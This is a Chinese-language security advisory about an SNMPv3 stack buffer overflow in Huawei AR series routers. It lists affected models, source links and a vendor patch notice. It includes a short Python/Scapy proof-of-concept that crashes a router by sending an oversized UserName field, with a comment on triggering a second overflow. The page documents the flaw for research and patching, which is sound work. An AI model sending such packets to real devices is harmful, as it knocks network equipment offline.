安全研究

安全漏洞
Huawei AR 系列路由器 SNMPv3 远程栈缓冲区溢出漏洞

发布日期:2013-03-13
更新日期:2013-05-07

受影响系统:
Huawei AR Series Routers 3200
Huawei AR Series Routers 2200
Huawei AR Series Routers 200
Huawei AR Series Routers 150
Huawei AR Series Routers 1200
描述:
BUGTRAQ  ID: 59662

Huawei AR系列路由器是基于华为专有VRP的下一代企业级路由器,集成了路由、交换、3G、WLAN、语音和安全功能。

Huawei AR系列路由器在解析畸形SNMPv3消息时会触发溢出条件,如果字段AuthoritativeEngineID、UserName、SNMPv3 USM没有被正确验证,会使远程攻击者造成缓冲区溢出,导致拒绝服务。

<*来源:Roberto Paleari (roberto.paleari@emaze.net
  
  链接:http://www.osvdb.org/show/osvdb/92935
        http://blog.emaze.net/2013/05/multiple-buffer-overflows-on-huawei.html
        http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-260601.htm
        http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-260626.htm
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Roberto Paleari (roberto.paleari@emaze.net)提供了如下测试方法:


This Python example crashes the device by overflowing the "UserName" SNMPv3 USM
field. Consider we used a slightly modified version of Python Scapy library to
properly support the SNMPv3 protocol. The complete Python script and the
modified Scapy library can be provided upon request.

<cut>
from scapy.all import *

def main():
    DST = "192.168.1.1"

    snmp = SNMPv3(version=3)
    pkt = IP(dst=DST)/UDP(sport=RandShort(), dport=161)/snmp
    pkt = snmpsetauth(pkt, "emaze", "MD5")
    pkt["SNMPv3"].flags = 4

    # Replace "user_name" with "auth_engine_id" in the next line to trigger the
    # other overflow
    pkt["SNMPv3"].security.user_name = "A"*4096

    pkt.show()
    send(pkt)

if __name__ == "__main__":
    main()
</cut>

建议:
厂商补丁:

Huawei
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.huawei.com/en/products/data-communication/ar-routers/

浏览次数:4584
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障